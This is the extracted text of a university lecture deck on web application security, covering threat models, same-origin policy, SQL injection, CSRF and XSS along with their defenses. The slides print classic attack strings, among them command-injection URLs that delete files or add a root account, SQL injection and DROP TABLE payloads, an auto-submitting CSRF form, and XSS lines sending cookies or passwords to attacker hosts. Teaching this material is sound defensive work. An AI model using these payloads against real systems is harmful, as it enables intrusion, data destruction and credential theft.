Web Application Security

* Original slides were prepared by John Mitchell
Goals of web security

- Safely browse the web
  - Users should be able to visit a variety of web sites, without incurring harm:
    - No stolen information
    - Site A cannot compromise session at Site B
- Support secure web applications
  - Applications delivered over the web should be able to achieve the same security properties as stand-alone applications
Web security threat model

Web Attacker
Sets up malicious site visited by victim; no control of network

Alice
System
Network security threat model

Network Attacker
Intercepts and controls network communication

Alice
Web Threat Models

- Web attacker
  - Control attacker.com
  - Can obtain SSL/TLS certificate for attacker.com
  - User visits attacker.com
    - Or: runs attacker’s Facebook app, etc.

- Network attacker
  - Passive: Wireless eavesdropper
  - Active: Evil router, DNS poisoning

- Malware attacker
  - Attacker escapes browser isolation mechanisms and run separately under control of OS
Malware attacker

- Browsers may contain exploitable bugs
  - Often enable remote code execution by web sites
  - Google study: [the ghost in the browser 2007]
    - Found Trojans on 300,000 web pages (URLs)
    - Found adware on 18,000 web pages (URLs)

NOT OUR FOCUS

- Even if browsers were bug-free, still lots of vulnerabilities on the web
  - XSS, SQLi, CSRF, ...

WEB PROGRAMMING BASICS
URLs

- Global identifiers of network-retrievable documents

**Example:**

```
http://columbia.edu:80/class?name=4995#homework
```

- Special characters are encoded as hex:
  - `%0A` = newline
  - `%20` or `+` = space, `%2B` = `+` (special exception)
HTTP Request

Method: GET  File: /index.html  HTTP version: HTTP/1.1
Accept: image/gif, image/x-bitmap, image/jpeg, */*
Accept-Language: en
Connection: Keep-Alive
User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)
Host: www.example.com
Referer: http://www.google.com?q=dingbats

Blank line
Data – none for GET

GET: no side effect  POST: possible side effect
HTTP Response

HTTP version
Status code
Reason phrase
Headers
Data
Cookies

HTTP/1.0 200 OK
Date: Sun, 21 Apr 1996 02:20:42 GMT
Server: Microsoft-Internet-Information-Server/5.0
Connection: keep-alive
Content-Type: text/html
Last-Modified: Thu, 18 Apr 1996 17:39:05 GMT
Set-Cookie: ...
Content-Length: 2543

<HTML> Some data... blah, blah, blah </HTML>
Rendering and events

Basic browser execution model

- Each browser window or frame
  - Loads content
  - Renders it
    - Processes HTML and scripts to display page
    - May involve images, subframes, etc.
  - Responds to events

Events can be

- User actions: OnClick, OnMouseover
- Rendering: OnLoad, OnBeforeUnload
- Timing: setTimeout(), clearTimeout()
Example

```html
<!DOCTYPE html>
<html>
<body>

<h1>My First Web Page</h1>
<p>My first paragraph.</p>

<button onclick="document.write(5 + 6)">Try it</button>

</body>
</html>
```
Document Object Model (DOM)

- Object-oriented interface used to read and write docs
  - web page in HTML is structured data
  - DOM provides representation of this hierarchy

Examples

- Properties: `document.alinkColor`, `document.URL`,
  `document.forms[]`, `document.links[]`,
  `document.anchors[]`
- Methods: `document.write(document.referrer)`

Includes Browser Object Model (BOM)

- `window`, `document`, `frames[]`, `history`, `location`,
  `navigator` (type and version of browser)
Example

```html
<!DOCTYPE html>
<html>
<body>

<h1>My First Web Page</h1>
<p>My First Paragraph</p>

<p id="demo"></p>

<script>
    document.getElementById("demo").innerHTML = 5 + 6;
</script>

</body>
</html>
```

Source: http://www.w3schools.com/js/js_output.asp
Changing HTML using Script, DOM

**Some possibilities**

- `createElement(elementName)`
- `createTextNode(text)`
- `appendChild(newChild)`
- `removeChild(node)`

**Example: Add a new list item:**

```javascript
var list = document.getElementById('t1')
var newitem = document.createElement('li')
var newtext = document.createTextNode(text)
list.appendChild(newitem)
newitem.appendChild(newtext)
```

```html
<ul id="t1">
  <li>Item 1</li>
</ul>
```
ISOLATION
Frame and iFrame

- Window may contain frames from different sources
  - Frame: rigid division as part of frameset
  - iFrame: floating inline frame

- iFrame example

```html
<iframe src="hello.html" width=450 height=100>
If you can see this, your browser doesn't understand IFRAME.
</iframe>
```

- Why use frames?
  - Delegate screen area to content from another source
  - Browser provides isolation based on frames
  - Parent may work even if frame is broken
Windows Interact
### Analogy

#### Operating system
- **Primitives**
  - System calls
  - Processes
  - Disk
- **Principals: Users**
  - Discretionary access control
- **Vulnerabilities**
  - Buffer overflow
  - Root exploit

#### Web browser
- **Primitives**
  - Document object model
  - Frames
  - Cookies / localStorage
- **Principals: “Origins”**
  - Mandatory access control
- **Vulnerabilities**
  - Cross-site scripting
  - Cross-site request forgery
  - Cache history attacks
  - ...
Policy Goals

- Safe to visit an evil web site
- Safe to visit two pages at the same time
  - Address bar distinguishes them
- Allow safe delegation
Each frame of a page has an origin
- Origin = protocol://host:port

Frame can access its own origin
- Network access, Read/write DOM, Storage (cookies)

Frame cannot access data associated with a different origin
ATTACKS
## OWASP Top Ten (2013)

<p>| | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>A-1</td>
<td>Injection</td>
<td>Untrusted data is sent to an interpreter as part of a command or query.</td>
</tr>
<tr>
<td>A-2</td>
<td>Authentication and Session Management</td>
<td>Attacks passwords, keys, or session tokens, or exploit other implementation flaws to assume other users’ identities.</td>
</tr>
<tr>
<td>A-3</td>
<td>Cross-site scripting</td>
<td>An application takes untrusted data and sends it to a web browser without proper validation or escaping</td>
</tr>
<tr>
<td>...</td>
<td>Various implementation problems</td>
<td>...expose a file, directory, or database key without access control check, ...misconfiguration, ...missing function-level access control</td>
</tr>
<tr>
<td>A-8</td>
<td>Cross-site request forgery</td>
<td>A logged-on victim’s browser sends a forged HTTP request, including the victim’s session cookie and other authentication information</td>
</tr>
</tbody>
</table>
Three vulnerabilities we will discuss

- SQL Injection
  - Browser sends malicious input to server
  - Bad input checking leads to malicious SQL query
- CSRF – Cross-site request forgery
  - Bad web site sends browser request to good web site, using credentials of an innocent victim
- XSS – Cross-site scripting
  - Bad web site sends innocent victim a script that steals information from an honest web site
Three vulnerabilities we will discuss

- **SQL Injection**
  - Browser sends malicious input to server
  - Bad input checking leads to malicious SQL query
  - Uses SQL to change meaning of database command

- **CSRF – Cross-site request forgery**
  - Bad web site sends request to good web site, using credentials of an innocent victim who "visits" site
  - Leverage user’s session at victim server

- **XSS – Cross-site scripting**
  - Bad web site sends innocent victim a script that steals information from an honest web site
  - Inject malicious script into trusted context
Command Injection

Background for SQL Injection
General code injection attacks

- Attack goal: execute arbitrary code on the server
- Example
  - code injection based on eval (PHP)
    - http://site.com/calc.php (server side calculator)

... $in = $_GET['exp'];
    eval('$ans = ' . $in . ';');
...

- Attack
  - http://site.com/calc.php?exp=" 10 ; system('rm *.*') "
    (URL encoded)
Code injection using \texttt{system()} \vspace{0.5cm}

\textbullet\ Example: PHP server-side code for sending email

\begin{verbatim}
$email = \$_POST["email"]
$subject = \$_POST["subject"]
\texttt{system("mail $email -s $subject < /tmp/joinmynetwork")}
\end{verbatim}

\textbullet\ Attacker can post

\begin{verbatim}
http://yourdomain.com/mail.php?
email=hacker@hackerhome.net &
subject=foo < /usr/passwd; ls
\end{verbatim}

OR

\begin{verbatim}
http://yourdomain.com/mail.php?
email=hacker@hackerhome.net&subject=foo;
\texttt{echo \"evil::0:0:root:/usr/bin/sh\"} >> /etc/passwd; ls
\end{verbatim}
SQL Injection
Database queries with PHP
(the wrong way)

Sample PHP

```php
$recipient = $_POST['recipient'];
$sql = "SELECT PersonID FROM Person WHERE Username='$recipient'";
$rs = $db->executeQuery($sql);
```

Problem

- What if ‘recipient’ is malicious string that changes the meaning of the query?
Basic picture: SQL Injection

1. post malicious form
2. unintended SQL query
3. receive valuable data
CardSystems Attack

- CardSystems
  - credit card payment processing company
  - SQL injection attack in June 2005
  - put out of business

- The Attack
  - 263,000 credit card #s stolen from database
  - credit card #s stored unencrypted
  - 43 million credit card #s exposed
# Wordpress : Security Vulnerabilities (SQL Injection)

<table>
<thead>
<tr>
<th>#</th>
<th>CVE ID</th>
<th>CWE ID</th>
<th># of Exploits</th>
<th>Vulnerability Type(s)</th>
<th>Publish Date</th>
<th>Update Date</th>
<th>Score</th>
<th>Gained Access</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>CVE-2012-5350</td>
<td>89</td>
<td>1</td>
<td>Exec Code Sql</td>
<td>2012-10-09</td>
<td>2012-10-10</td>
<td>6.0</td>
<td>None</td>
</tr>
</tbody>
</table>

SQL injection vulnerability in the Pay With Tweet plugin before 1.2 for WordPress allows remote authenticated users with cert parameter in a paywithtweet shortcode.

| 2 | CVE-2011-5216  | 89     |               | Exec Code Sql         | 2012-10-25   | 2012-10-26  | 7.5   | None          |

SQL injection vulnerability in ajax.php in SCORM Cloud For WordPress plugin before 1.0.7 for WordPress allows remote attackers.

**NOTE:** Some of these details are obtained from third party information.

| 3 | CVE-2011-4899  |               | 1             | Exec Code Sql XSS      | 2012-01-30   | 2012-01-31  | 7.5   | None          |

**DISPUTED** wp-admin/setup-config.php in the installation component in WordPress 3.3.1 and earlier does not ensure that remote attackers can configure an arbitrary database via the dbhost and dbname parameters, and subsequently conduct (1) a MySQL query. **NOTE:** The vendor disputes the significance of this issue; however, remote code execution may result.

| 4 | CVE-2011-4669  | 89     |               | Exec Code Sql         | 2011-12-02   | 2012-03-08  | 7.5   | None          |

SQL injection vulnerability in wp-users.php in WordPress Users plugin 1.3 and possibly earlier for WordPress allows remote attackers to upload a file via the index.php.

| 5 | CVE-2011-3130  | 89     |               | Sql                   | 2011-08-10   | 2012-06-28  | 7.5   | User          |

wp-includes/taxonomy.php in WordPress 3.1 before 3.1.3 and 3.2 before Beta 2 has unknown impact and attack vectors relate.

| 6 | CVE-2010-4257  | 89     |               | Exec Code Sql         | 2010-12-07   | 2011-01-19  | 6.0   | None          |

SQL injection vulnerability in the do_trackbacks function in wp-includes/comment.php in WordPress before 2.8.2 allows remote

http://www.cvedetails.com/vulnerability-list/vendor_id-2337/opsqli-1/Wordpress.html
Example: buggy login page (ASP)

```asp
set ok = execute("SELECT * FROM Users
WHERE user='" & form("user") & "'
AND pwd='" & form("pwd") & "'");

if not ok.EOF
    login success
else fail;
```

Is this exploitable?
Web Browser (Client) -> Enter Username & Password
Web Server

SELECT * FROM Users WHERE user='me' AND pwd='1234'

DB

Normal Query
Bad input

Suppose \( \text{user} = "' or 1=1 -- " \) (URL encoded)

Then scripts does:

\[
\text{ok} = \text{execute}( \text{SELECT } ... \\
\text{WHERE user= ' ' or 1=1 -- ... })
\]

- The "--" causes rest of line to be ignored.
- Now \( \text{ok.EOF} \) is always false and login succeeds.

The bad news: easy login to many sites this way.
Even worse

- Suppose user =
  
  "' ; DROP TABLE Users -- "

- Then script does:

  ```python
  ok = execute( SELECT ...
               WHERE user= ' ' ; DROP TABLE Users ... )
  ```

- Deletes user table
  - Similarly: attacker can add users, reset pwds, etc.
Even worse ...

Suppose user = ' ; exec cmdshell

'net user badguy badpwd' / ADD --

Then script does:

ok = execute( SELECT ...

WHERE username = ' ' ; exec ... )

If SQL server context runs as “sa”, attacker gets account on DB server
Let’s see how the attack described in this cartoon works...
Preventing SQL Injection

Never build SQL commands yourself!

- Use parameterized/prepared SQL
- Use ORM framework
PHP addslashes()

- **PHP:** `addslashes("' or 1 = 1 -- ")`
  outputs: `"\' or 1=1 -- "`

- **Unicode attack:** (GBK)

- **$user = 0x bf 27**

- **addslashes ($user) → 0x bf 5c 27 → 纹’**

- **Correct implementation:** `mysql_real_escape_string()`
Parameterized/prepared SQL

- Builds SQL queries by properly escaping args: ' → \'

- Example: Parameterized SQL: (ASP.NET 1.1)
  - Ensures SQL arguments are properly escaped.

```csharp
SqlCommand cmd = new SqlCommand(
    "SELECT * FROM UserTable WHERE
    username = @User AND
    password = @Pwd",
    dbConnection);

(cmd.Parameters.Add("@User", Request["user"]) );
(cmd.Parameters.Add("@Pwd", Request["pwd"]);
(cmd.ExecuteReader();
```

- In PHP: bound parameters -- similar function
Cross Site Request Forgery
Recall: session using cookies

Browser

POST/login.cgi

Server

Set-cookie: authenticator

GET...
Cookie: authenticator

response
Basic picture

1. establish session
2. visit server (or iframe)
3. receive malicious page
4. send forged request (w/ cookie)

Q: how long do you stay logged in to Gmail? Facebook? ....
Cross Site Request Forgery (CSRF)

**Example:**
- User logs in to bank.com
  - Session cookie remains in browser state
- User visits another site containing:
  ```html
  <form name=F action=http://bank.com/BillPay.php>
  <input name=recipient value=badguy> ...
  <script> document.F.submit(); </script>
  ```
- Browser sends user auth cookie with request
  - Transaction will be fulfilled

**Problem:**
- cookie auth is insufficient when side effects occur
Form post with cookie

GET /blog HTTP/1.1

POST /transfer HTTP/1.1
Referer: http://www.attacker.com/blog

Cookie: SessionID=523FA4cd2E

POST /transfer HTTP/1.1
Recipient=attacker&amount=100

HTTP/1.1 200 OK
Transfer complete!

User credentials
Cookieless Example: Home Router

1. configure router
2. visit site
3. receive malicious page
4. send forged request
Attack on Home Router

Fact:
- 50% of home users have broadband router with a default or no password

Drive-by Pharming attack:
- User visits malicious site
  - JavaScript at site scans home network looking for broadband router:
    - SOP allows “send only” messages
    - Detect success using onerror:
      <IMG SRC=192.168.0.1 onError = do() >
- Once found, login to router and change DNS server

Problem: “send-only” access sufficient to reprogram router
CSRF Defenses

- Secret Validation Token
  
  ```html
  <input type=hidden value=23a3af01b>
  ```

- Referer Validation
  
  ```
  Referer: http://www.facebook.com/home.php
  ```

- Custom HTTP Header
  
  ```
  X-Requested-By: XMLHttpRequest
  ```
Secret Token Validation

- Requests include a hard-to-guess secret
  - Unguessability substitutes for unforgeability

- Variations
  - Session identifier
  - Session-independent token
  - Session-dependent token
  - HMAC of session identifier
Secret Token Validation
For your security, never enter your Facebook password on sites not located on Facebook.com.

Email: 
Password: 

Remember me

Login or Sign up for Facebook

Forgot your password?
Referer Validation Defense

- HTTP Referer header
  - Referer: http://www.facebook.com/
  - Referer: http://www.attacker.com/evil.html
  - Referer:

- Lenient Referer validation
  - Doesn't work if Referer is missing

- Strict Referer validation
  - Secure, but Referer is sometimes absent...
Referer Privacy Problems

- Referer may leak privacy-sensitive information

- Common sources of blocking:
  - Network stripping by the organization
  - Network stripping by local machine
  - Stripped by browser for HTTPS -> HTTP transitions
  - User preference in browser
  - Buggy user agents

- Site cannot afford to block these users
Broader view of CSRF

- Abuse of cross-site data export feature
  - From user’s browser to honest server
  - Disrupts integrity of user’s session

- Why mount a CSRF attack?
  - Network connectivity
  - Read browser state
  - Write browser state

- Not just “session riding”
Login CSRF

www.attacker.com

GET /blog HTTP/1.1

Victim Browser

POST /login HTTP/1.1
Referer: http://www.attacker.com/blog
username=attacker&password=xyzzy

HTTP/1.1 200 OK
Set-Cookie: SessionID=ZA1Fa34

GET /search?q=llamas HTTP/1.1
Cookie: SessionID=ZA1Fa34

www.google.com
Payments Login CSRF

Quizzer provides an interface for studying these images.

**Wow! This site is so cool! How can I show my appreciation?**

Sura-Sura Kanji Quizzer is supported by banner advertisements, but you can also support Sura-Sura Kanji Quizzer via PayPal donation:

![PayPal Donate](image)

**How does the quizzer choose which kanji to display?**

The displayed kanji is chosen at random from among the active kanji. Special effort is taken to avoid displaying the same kanji twice in a row. It might still happen, however, if only one kanji is active.

**How should I use the Sura-Sura Kanji Quizzer service?**

All we ask is that you use the quizzer honestly. Bad data will make the statistics less useful.

**How does the quizzer calculate the "success rate" of a user?**

The formula is (Times Succeeded) / (Times Viewed). If you view a kanji but do not click the "Success" button (for example, if you click a link to some other part of the site), that counts against your success rate. Please do not worry too much about
Payments Login CSRF

PayPal is the safer, easier way to pay for Kanji Quizzer. You can finish paying in a few clicks.

Why use PayPal?
Use your credit card online without exposing your card number to merchants.
Speed through checkout. No need to enter your card number or address.

Don't have a PayPal account?
Use your credit card or bank account (where available). Continue

LOG IN TO PAYPAL
Email: colinj@cs.stanford.edu
Password: ********

Log In
Payments Login CSRF
Payments Login CSRF
Login CSRF

GET /blog HTTP/1.1

POST /login HTTP/1.1
Referer: http://www.attacker.com/blog
Content-Type: application/x-www-form-urlencoded
Content-Length: 197
Connection: close

username=attacker&password=xyzzy

HTTP/1.1 200 OK
Set-Cookie: SessionID=ZA1Fa34

GET /search?q=llamas HTTP/1.1
Cookie: SessionID=ZA1Fa34

Web History for attacker
Apr 7, 2008
9:20pm  Searched for llamas
Sites can redirect browser

Client Web Browser

Web Request

Http Status code 301/302 – Target URL Location

Redirect Web Request to Target URL Location

Web Response

Web Server
Attack on origin/referer header

What if honest site sends POST to attacker.com?

Solution: origin header records redirect
CSRF Recommendations

- **Login CSRF**
  - Strict Referer/Origin header validation
  - Login forms typically submit over HTTPS, not blocked

- **HTTPS sites, such as banking sites**
  - Use strict Referer/Origin validation to prevent CSRF

- **Other**
  - Use Ruby-on-Rails or other framework that implements secret token method correctly

- **Origin header**
  - Alternative to Referer with fewer privacy problems
  - Sent only on POST, sends only necessary data
  - Defense against redirect-based attacks
Cross Site Scripting (XSS)
Three top web site vulnerabilities

- **SQL Injection**
  - Browser sends malicious input to server.
  - Bad input checking leads to malicious SQL query.

- **CSRF – Cross-site request forgery**
  - Bad web site sends request to good web site, using credentials of an innocent victim who “visits” site.

- **XSS – Cross-site scripting**
  - Bad web site sends innocent victim a script that steals information from an honest web site.
  - Attacker’s malicious code executed on victim browser.
  - Attacker site forges request from victim browser to victim server.
Basic scenario: reflected XSS attack

1. visit web site
2. receive malicious link
3. click on link
4. echo user input
5. send valuable data
XSS example: vulnerable site

- search field on victim.com:

- Server-side implementation of `search.php`:
  ```html
  <HTML>
  <TITLE>Search Results</TITLE>
  <BODY>
  Results for <?php echo $_GET['term'] ?> :
  . . .
  </BODY>
  </HTML>
  ```
  echo search term into response
Bad input

Consider link: (properly URL encoded)

```html
```

What if user clicks on this link?

1. Browser goes to victim.com/search.php
2. Victim.com returns
   `<HTML> Results for <script> ... </script>`
3. Browser executes script:
   - Sends badguy.com cookie for victim.com
**www.victim.com**

```html
<html>
Results for

<script>
window.open('http://attacker.com?
... document.cookie ...')
</script>

</html>
```
What is XSS?

- An XSS vulnerability is present when an attacker can inject scripting code into pages generated by a web application.

Methods for injecting malicious code:

- Reflected XSS ("type 1")
  - the attack script is reflected back to the user as part of a page from the victim site

- Stored XSS ("type 2")
  - the attacker stores the malicious code in a resource managed by the web application, such as a database

- Others, such as DOM-based attacks
Basic scenario: reflected XSS attack

1. Collect email addr
2. send malicious email
3. click on link
4. echo user input
5. send valuable data

Email version

User Victim

Attack Server

Server Victim
2006 Example Vulnerability

- Attackers contacted users via email and fooled them into accessing a particular URL hosted on the legitimate PayPal website.
- Injected code redirected PayPal visitors to a page warning users their accounts had been compromised.
- Victims were then redirected to a phishing site and prompted to enter sensitive financial data.

Adobe PDF viewer “feature” (version <= 7.9)

PDF documents execute JavaScript code

http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:code_here

The code will be executed in the context of the domain where the PDF files is hosted.
This could be used against PDF files hosted on the local filesystem.

Here’s how the attack works:

- Attacker locates a PDF file hosted on website.com
- Attacker creates a URL pointing to the PDF, with JavaScript Malware in the fragment portion
  
  http://website.com/path/to/file.pdf#s=javascript:alert("xss");

- Attacker entices a victim to click on the link
- If the victim has Adobe Acrobat Reader Plugin 7.0.x or less, confirmed in Firefox and Internet Explorer, the JavaScript Malware executes

Note: alert is just an example. Real attacks do something worse.
And if that doesn’t bother you...

PDF files on the local filesystem:

file:///C:/Program%20Files/Adobe/Acrobat%207.0/Resource/ENUtxt.pdf#blah=javascript:alert("XSS");

JavaScript Malware now runs in local context with the ability to read local files...
Reflected XSS attack

User Victim

Attack Server

Server Victim

1. User Victim clicks on link.
2. Server Victim echoes user input.
3. User Victim sends bad stuff.
4. Reflect it back.
5. Send valuable data.
Stored XSS

1. Attack Server
   - Inject malicious script

2. Server Victim
   - Receive malicious script

3. User Victim
   - Download it

4. User Victim
   - Steal valuable data
Users can post HTML on their pages

- MySpace.com ensures HTML contains no `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
- ... but can do Javascript within CSS tags:
  ```html
  <div style="background:url('javascript:alert(1)')">
  And can hide "javascript" as "java\nscript"
  ```

With careful javascript hacking:

- Samy worm infects anyone who visits an infected MySpace page ... and adds Samy as a friend.
- Samy had millions of friends within 24 hours.

http://namb.la/popular/tech.html
Stored XSS using images

Suppose `pic.jpg` on web server contains HTML!

- request for `http://site.com/pic.jpg` results in:
  
  ```
  HTTP/1.1 200 OK
  ...
  Content-Type: image/jpeg
  <html> fooled ya </html>
  ```

- IE will render this as HTML (despite Content-Type)

- Consider photo sharing sites that support image uploads
- What if attacker uploads an “image” that is a script?
DOM-based XSS (no server used)

Example page

```html
<HTML>
<TITLE>Welcome!</TITLE>
Hi <SCRIPT>
var pos = document.URL.indexOf("name=") + 5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
</HTML>
```

Works fine with this URL

http://www.example.com/welcome.html?name=Joe

But what about this one?

http://www.example.com/welcome.html?name=script>alert(document.cookie)</script>
Defenses at server

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. send valuable data
How to Protect Yourself (OWASP)

The best way to protect against XSS attacks:

- Validates all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be allowed.
- Do not attempt to identify active content and remove, filter, or sanitize it. There are too many types of active content and too many ways of encoding it to get around filters for such content.
- Adopt a ‘positive’ security policy that specifies what is allowed. ‘Negative’ or attack signature based policies are difficult to maintain and are likely to be incomplete.
Input data validation and filtering

- Never trust client-side data
  - Best: allow only what you expect
- Remove/encode special characters
  - Many encodings, special chars!
  - E.g., long (non-standard) UTF-8 encodings
Output filtering / encoding

- Remove / encode (X)HTML special chars
  - &lt; for <, &gt; for >, &quot; for “ …
- Allow only safe commands (e.g., no <script>…)
- Caution: `filter evasion` tricks
  - See XSS Cheat Sheet for filter evasion
  - E.g., if filter allows quoting (of <script> etc.), use malformed quoting: <IMG “”><SCRIPT>alert(“XSS”)
  - Or: (long) UTF-8 encode, or…
- Caution: Scripts not only in <script>!
  - Examples in a few slides
ASP.NET output filtering

validateRequest: (on by default)

- Crashes page if finds `<script>` in POST data.
- Looks for hardcoded list of patterns
- Can be disabled: `<%@ Page validateRequest="false" %>`
Caution: Scripts not only in `<script>`!

- **JavaScript as scheme in URI**
  - `<img src="javascript:alert(document.cookie);"/>

- **JavaScript On{event} attributes (handlers)**
  - OnSubmit, OnError, OnLoad, ...

- **Typical use:**
  - `<img src="none" OnError="alert(document.cookie)"/>
  - `<iframe src=`https://bank.com/login` onload=`steal()`>`
  - `<form> action="logon.jsp" method="post"
    onsubmit="hackImg=new Image;
    hackImg.src='http://www.digicrime.com/'+document.forms(1).login.value+'
    :'+
    document.forms(1).password.value;" </form>`
Problems with filters

Suppose a filter removes `<script`

- **Good case**
  - `<script src="..."` → `src="..."

- **But then**
  - `<script src="..."` → `<script src="..."`
Advanced anti-XSS tools

- **Dynamic Data Tainting**
  - Perl taint mode

- **Static Analysis**
  - Analyze Java, PHP to determine possible flow of untrusted input
HttpOnly Cookies

- Cookie sent over HTTP(s), but not accessible to scripts
  - cannot be read via `document.cookie`
    - Also blocks access from XMLHttpRequest headers
  - Helps prevent cookie theft via XSS

... but does not stop most other risks of XSS bugs.
IE XSS Filter

What can you do at the client?

- User Victim
  - 3 click on link
  - 4 echo user input
  - 5 send valuable data
  - Attack Server

Points to remember

Key concepts
- Whitelisting vs. blacklisting
- Output encoding vs. input sanitization
- Sanitizing before or after storing in database
- Dynamic versus static defense techniques

Good ideas
- Static analysis (e.g. ASP.NET has support for this)
- Taint tracking
- Framework support
- Continuous testing

Bad ideas
- Blacklisting
- Manual sanitization
Finding vulnerabilities
Survey of Web Vulnerability Tools

Local
- IBM
- Acunetix
- N-Stalker
- Cenzic

Remote
- McAfee
- Rapid7
- Qualys

>$100K total retail price
Example scanner UI

Security Dashboard

Device Compliance
- Not Compliant 0%
- Compliant 100%
- McAfee Secure
- PCI

Network IP Addresses
- Open
- Alive
- Offline
- 0%

Status
- Unread Alerts: 0
- Network Scans In Progress: 0
- Device Audits In Progress: 0
- Networks Pending Approval: 1

Vulnerabilities By Severity
- 1 Low
- 3 High
- 5 Critical
- 2 Medium
- 4 Critical

Recent Vulnerabilities
- 24 Hours
- 1 Week
- 72 Hours
- 1 Month

Device Open Ports
- None
- 6 - 10
- > 20
- 1 - 5
- 11 - 20
Test Vectors By Category

Test Vector Percentage Distribution

- Info leaks
- Configuration
- CSRF
- Session
- XCS
- SQLI
- XSS
Detecting Known Vulnerabilities

Vulnerabilities for previous versions of Drupal, phpBB2, and WordPress

<table>
<thead>
<tr>
<th>Category</th>
<th>Drupal 4.7.0</th>
<th></th>
<th>phpBB2 2.0.19</th>
<th></th>
<th>Wordpress 1.5strayhorn</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>NVD</td>
<td>Scanner</td>
<td>NVD</td>
<td>Scanner</td>
<td>NVD</td>
<td>Scanner</td>
</tr>
<tr>
<td>XSS</td>
<td>5</td>
<td>2</td>
<td>4</td>
<td>2</td>
<td>13</td>
<td>7</td>
</tr>
<tr>
<td>SQLI</td>
<td>3</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>12</td>
<td>7</td>
</tr>
<tr>
<td>XCS</td>
<td>3</td>
<td>0</td>
<td>1</td>
<td>0</td>
<td>8</td>
<td>3</td>
</tr>
<tr>
<td>Session</td>
<td>5</td>
<td>5</td>
<td>4</td>
<td>4</td>
<td>6</td>
<td>5</td>
</tr>
<tr>
<td>CSRF</td>
<td>4</td>
<td>0</td>
<td>1</td>
<td>0</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>Info Leak</td>
<td>4</td>
<td>3</td>
<td>1</td>
<td>1</td>
<td>5</td>
<td>4</td>
</tr>
</tbody>
</table>

Good: Info leak, Session
Decent: XSS/SQLI
Poor: XCS, CSRF (low vector count?)
Vulnerability Detection

Scanners Overall detection rate

- Malware: 0%
- Info leak: 31.2%
- Config: 32.5%
- Session: 26.5%
- SQL 2nd order: 0%
- SQL 1st order: 21.4%
- CSRF: 17.1%
- XCS: 14.4%
- XSS advance: 11.25%
- XSS type 2: 15%
- XSS type 1: 62%
Summary

- **SQL Injection**
  - Bad input checking allows malicious SQL query
  - Known defenses address problem effectively
- **CSRF – Cross-site request forgery**
  - Forged request leveraging ongoing session
  - Can be prevented (if XSS problems fixed)
- **XSS – Cross-site scripting**
  - Problem stems from echoing untrusted input
  - Difficult to prevent; requires care, testing, tools, ...
- **Other server vulnerabilities**
  - Increasing knowledge embedded in frameworks, tools, application development recommendations